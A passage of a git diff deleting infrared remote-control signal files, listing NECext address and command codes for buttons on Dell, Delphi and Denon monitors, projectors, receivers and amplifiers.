00 -# -name: POP/PBP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 0D 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 0E 00 00 00 -# -name: AUDIO -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 0F 00 00 00 -# -name: PICT -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 10 00 00 00 -# -name: WIDE -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 11 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 12 00 00 00 -# -name: POS -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 15 00 00 00 -# -name: PIP_SEL -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 1D 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 21 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 22 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 34 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 35 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 36 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 37 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 38 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 39 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 60 00 00 00 -# -name: DN -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 61 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 62 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 00 1C 00 00 -command: 63 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir deleted file mode 100644 index d7bd2c3ef..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: vol_off -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 0D 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 11 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 20 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 21 00 00 00 -# -name: KEY_PLAYPAUSE -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 2C 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 2E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 2F 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 31 00 00 00 -# -name: cross_up -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 58 00 00 00 -# -name: cross_down -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 59 00 00 00 -# -name: cross_left -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 5A 00 00 00 -# -name: cross_right -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 5B 00 00 00 -# -name: cross_enter -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: 5C 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: A4 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: CE 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 2B 1C 00 00 -command: CF 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir deleted file mode 100644 index faff1dd34..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Dell/Video Projector/79,80.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: ASPECT -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 01 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 02 00 00 00 -# -name: PWRTOGGLE -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 02 00 00 00 -# -name: VIDEO_MODE -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 03 00 00 00 -# -name: INPUT_DVI -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 04 00 00 00 -# -name: INPUT_NEXT -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 04 00 00 00 -# -name: PGUP -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 05 00 00 00 -# -name: PGDOWN -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 06 00 00 00 -# -name: VOL_+ -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 08 00 00 00 -# -name: KEYSTONE_UP -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 09 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 0A 00 00 00 -# -name: VOL_- -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 0B 00 00 00 -# -name: HIDE -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 0C 00 00 00 -# -name: KEYSTONE_DOWN -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 0D 00 00 00 -# -name: GAMMA -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 10 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 11 00 00 00 -# -name: R-SYNC -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 18 00 00 00 -# -name: INPUT_S-VIDEO_2 -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 19 00 00 00 -# -name: INPUT_COMPOSITE -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 1B 00 00 00 -# -name: INPUTBNC -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 1C 00 00 00 -# -name: INPUT_DVI/SAT -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 1D 00 00 00 -# -name: INPUT_RCA -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 1E 00 00 00 -# -name: INPUT_VGA -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 20 00 00 00 -# -name: INPUT_S-VIDEO -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 23 00 00 00 -# -name: INPUT_VIDEO -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 24 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 25 00 00 00 -# -name: BRIGHTNESS -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 26 00 00 00 -# -name: CONTRAST -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 27 00 00 00 -# -name: COLOR -type: parsed -protocol: NECext -address: 4F 50 00 00 -command: 28 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir deleted file mode 100644 index afaf1e52b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Delphi/Satellite Receiver/27,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 0_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 40 00 00 00 -# -name: 0_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 40 00 00 00 -# -name: 1_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 41 00 00 00 -# -name: 1_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 41 00 00 00 -# -name: 2_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 42 00 00 00 -# -name: 2_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 42 00 00 00 -# -name: 3_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 43 00 00 00 -# -name: 3_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 43 00 00 00 -# -name: 4_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 44 00 00 00 -# -name: 4_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 44 00 00 00 -# -name: 5_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 45 00 00 00 -# -name: 5_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 45 00 00 00 -# -name: 6_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 46 00 00 00 -# -name: 6_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 46 00 00 00 -# -name: 7_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 47 00 00 00 -# -name: 7_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 47 00 00 00 -# -name: 8_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 48 00 00 00 -# -name: 8_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 48 00 00 00 -# -name: 9_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 49 00 00 00 -# -name: 9_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 49 00 00 00 -# -name: POWER_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4C 00 00 00 -# -name: POWER_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4C 00 00 00 -# -name: MUTE_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4D 00 00 00 -# -name: MUTE_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 4D 00 00 00 -# -name: +_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 50 00 00 00 -# -name: +_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 50 00 00 00 -# -name: -_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 51 00 00 00 -# -name: -_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 51 00 00 00 -# -name: MEMORY_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 57 00 00 00 -# -name: MEMORY_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 57 00 00 00 -# -name: CHANNEL_+_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 60 00 00 00 -# -name: CHANNEL_+_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 60 00 00 00 -# -name: UP_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 60 00 00 00 -# -name: UP_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 60 00 00 00 -# -name: CHANNEL_-_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 61 00 00 00 -# -name: CHANNEL_-_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 61 00 00 00 -# -name: DOWN_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 61 00 00 00 -# -name: DOWN_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 61 00 00 00 -# -name: PRESET/DIRECT_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 62 00 00 00 -# -name: PRESET/DIRECT_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 62 00 00 00 -# -name: XM_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 63 00 00 00 -# -name: XM_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 63 00 00 00 -# -name: CATEGORY_>>_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 70 00 00 00 -# -name: CATEGORY_>>_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 70 00 00 00 -# -name: CATEGORY_<<_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 71 00 00 00 -# -name: CATEGORY_<<_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 71 00 00 00 -# -name: DISPLAY_A -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 7A 00 00 00 -# -name: DISPLAY_B -type: parsed -protocol: NECext -address: 1B 00 00 00 -command: 7A 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir deleted file mode 100644 index 5daea361f..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/12,-1.ir +++ /dev/null @@ -1,104 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: LEFT_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 7F 00 00 00 -# -name: ZN2_VOL_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8D 00 00 00 -# -name: ZONE_2_VOL_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8E 00 00 00 -# -name: SOURCE_TOGGLE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE_2_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE_2_IPOD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 90 00 00 00 -# -name: ZONE2_MUSICSERVER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 93 00 00 00 -# -name: SURR_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9D 00 00 00 -# -name: SURR_DIRECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9E 00 00 00 -# -name: SYSTEM_SETUP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: SURR_PARAMETER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A1 00 00 00 -# -name: UP_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A3 00 00 00 -# -name: DOWN_ARROW -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A4 00 00 00 -# -name: SURR_5CH/7CH_STEREO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A8 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B2 00 00 00 -# -name: ZONE_2_DVD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: BE 00 00 00 -# -name: MODE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir deleted file mode 100644 index 144d4ee0a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/2,-1.ir +++ /dev/null @@ -1,164 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURR_PUREDIRECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 6A 00 00 00 -# -name: ZONE_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 79 00 00 00 -# -name: POWER_ON_ZN_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7B 00 00 00 -# -name: POWER_OFF_ZN_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 7C 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C3 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: IPOD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: DBS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: CABLE_TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: MUSIC_SERVER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VIDEO_AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: VCR_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR_2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: TAPE_1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: RIGHT_ARROW -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DD 00 00 00 -# -name: ON_SCREEN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DF 00 00 00 -# -name: SELECT/ENTER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E0 00 00 00 -# -name: POWER_ON_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E1 00 00 00 -# -name: POWER_OFF_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E2 00 00 00 -# -name: DVD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E3 00 00 00 -# -name: SURR_STANDARD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: E4 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F0 00 00 00 -# -name: VOLUME_+_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F1 00 00 00 -# -name: VOLUME_-_MAIN -type: parsed -protocol: NECext -address: 02 00 00 00 -command: F2 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir deleted file mode 100644 index daacca00b..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/AV Processor/4,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: SURROUND_CINEMA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: ROOM_EQ -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir deleted file mode 100644 index 068b6ab12..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/12,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: DIGITAL_DBS/BS -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 83 00 00 00 -# -name: DIGITAL_VDP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 84 00 00 00 -# -name: DIGITAL_CD -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 85 00 00 00 -# -name: DIGITAL_DAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 86 00 00 00 -# -name: AMP_CD_DIRECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 8C 00 00 00 -# -name: STEREO_T.M. -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9D 00 00 00 -# -name: DIRECT_T.S. -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9E 00 00 00 -# -name: PARAM.DSP.REC -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 9F 00 00 00 -# -name: AMP_PARAMETER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: PARAM.MAIN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A0 00 00 00 -# -name: PARAM.SUB -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A1 00 00 00 -# -name: AMP_CLEAR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A2 00 00 00 -# -name: PARAM.CLEAR -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A2 00 00 00 -# -name: AMP_SET_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A3 00 00 00 -# -name: PARAM.SET_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A3 00 00 00 -# -name: AMP_SET_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A4 00 00 00 -# -name: PARAM.SET_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A4 00 00 00 -# -name: AMP_EFFECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A6 00 00 00 -# -name: AMP_INPUT_ADJ. -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A7 00 00 00 -# -name: AMP_MEMORY -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: A9 00 00 00 -# -name: AMP_PERSONAL_MEM_1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AA 00 00 00 -# -name: AMP_PERSONAL_MEM_2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: AB 00 00 00 -# -name: VIDEO_OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: B2 00 00 00 -# -name: AMP_TUNER_PRESET_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_CH_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_PRESET_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: TUNER_PRESET_CH_DN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D5 00 00 00 -# -name: AMP_TUNER_PRESET_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_CH_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_PRESET_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_PRESET_CH_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D6 00 00 00 -# -name: TUNER_BAND -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D7 00 00 00 -# -name: TUNER_AT/MANU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D8 00 00 00 -# -name: TUNER_TUNE_^ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: D9 00 00 00 -# -name: TUNER_TUNE_V -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DA 00 00 00 -# -name: TUNER_RF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DB 00 00 00 -# -name: TUNER_P.SCAN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DC 00 00 00 -# -name: TUNER_POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: DD 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir deleted file mode 100644 index 91bf45c1e..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Denon/Amplifier/2,-1.ir +++ /dev/null @@ -1,596 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 41 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 42 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 43 00 00 00 -# -name: AUX/VIDEO-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 44 00 00 00 -# -name: AUX/VIDEO-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 45 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4B 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4C 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 4D 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 50 00 00 00 -# -name: TAPE_MONITOR -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 58 00 00 00 -# -name: TAPE-1/1>2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 59 00 00 00 -# -name: TAPE-2/2>1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 5A 00 00 00 -# -name: PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 81 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 82 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 83 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 84 00 00 00 -# -name: MUTING -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8B 00 00 00 -# -name: VOLUME_V -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8C 00 00 00 -# -name: VOLUME_^ -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 8D 00 00 00 -# -name: AMP_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 90 00 00 00 -# -name: SOURCE_DIRECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 91 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 99 00 00 00 -# -name: TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: 9A 00 00 00 -# -name: SP-A -type: parsed -protocol: NECext -address: 02 00 00 00 -command: AC 00 00 00 -# -name: SP-B -type: parsed -protocol: NECext -address: 02 00 00 00 -command: AD 00 00 00 -# -name: SURR.AUT.BAL -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C0 00 00 00 -# -name: AMP_POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C1 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C1 00 00 00 -# -name: AMP_PHONO -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C3 00 00 00 -# -name: AMP_CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: CD -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C4 00 00 00 -# -name: AMP_TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: TUNER -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C5 00 00 00 -# -name: AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C6 00 00 00 -# -name: AMP_DBS/BS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: DBS/BS -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C8 00 00 00 -# -name: TV -type: parsed -protocol: NECext -address: 02 00 00 00 -command: C9 00 00 00 -# -name: AMP_VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: VDP -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CA 00 00 00 -# -name: AMP_V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: V.AUX -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CC 00 00 00 -# -name: AMP_VCR-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: VCR-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CD 00 00 00 -# -name: AMP_VCR-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: VCR-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: CE 00 00 00 -# -name: AMP_DAT/TAPE-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: TAPE-1 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D2 00 00 00 -# -name: AMP_DAT/TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: DAT/TAPE-2 -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D3 00 00 00 -# -name: AMP_CINEMA -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D5 00 00 00 -# -name: CINEMA -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D5 00 00 00 -# -name: AMP_VIDEO_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D8 00 00 00 -# -name: VIDEO_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D8 00 00 00 -# -name: AMP_A.V.S.E -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D9 00 00 00 -# -name: A.V.S.E -type: parsed -protocol: NECext -address: 02 00 00 00 -command: D9 00 00 00 -# -name: AMP_REC_SELECT -type: parsed -protocol: NECext -address: 02 00 00 00 -command: DB 00 00 00 -# -name: 